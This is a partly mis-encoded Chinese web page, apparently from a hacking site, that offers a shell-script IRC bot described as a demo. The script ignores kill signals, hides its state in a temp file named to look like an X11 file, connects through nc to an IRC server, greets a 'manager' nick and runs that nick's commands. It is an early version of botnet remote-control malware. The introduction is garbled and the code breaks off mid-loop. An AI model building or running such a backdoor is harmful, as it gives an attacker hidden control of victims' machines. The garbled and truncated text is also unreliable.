ò???irc botμ?shellêμ??(demo)
shell??ê??????e2?£??a???÷òaê?à?ó?á?tail- f í¨1y1üμà???¨?òμ?ncà′ó?irc·t???÷??DDí¨D?£?è?oóà?ó?sed??????ê??ˉê1??·?o?D-òé£???????é????÷á?
êμ??μ?1|?ü?íê??üá??′DD?£
′ú??1à??oü2?3éêì£??1?ú?§?°?D£??£í?′ó?ò?????ú?àìá3?ò?D???μ??£
01 #!/bin/sh
02
03 #Shell IRC Bot demo Based on RFC 1459
04 #Author:Tm3yShell7 @ www.hackshell.net
05 #2011/8/5
06
07 myname='testBot' #what you call me?
08 svradd='127.0.0.1 6667' #where can i find you? "Oppo" find me : P
09 channel='bots' #irc channel
10 tmpfile='/tmp/.X11-map-enUS' #temp file at runtime
11 mgr='god' #manager nick in irc
12 cwd='/tmp' # current work directry
13
14 trap "" TERM HUP INT QUIT TSTP
15 #just leave it
16
17 echo "NICK $myname" > $tmpfile
18 echo "USER $myname `hostname` servername realname" >> $tmpfile
19 echo "JOIN $channel" >> $tmpfile
20 echo "PRIVMSG $mgr :hey, im in!" >> $tmpfile
21 #connect to the irc server and say hello to my manager
22
23 tail -f $tmpfile| nc $svradd | while true; do
24 read cmd
25 echo $cmd | egrep "^:$mgr.*PRIVMSG $myname :" >/dev/null 2>&1
26 test $? -eq 0 || continue
27 #see if this message is for me?
28 cmd=$(echo $cmd | sed "s/^:$mgr.*PRIVMSG $myname ://" 2>/dev/null)
29 #delete the header
30 cmd=$(echo $cmd | sed "s/\r/\n/" 2>/dev/null)
31 #delete '\r'
32 echo $cmd | egrep "^cd *" >/dev/null 2>&1
33 test $? -eq 0 && cwd=$(cd $cwd;$cmd;pwd 2>/dev/null)
相关新闻>>
- 发表评论
-
- 最新评论 更多>>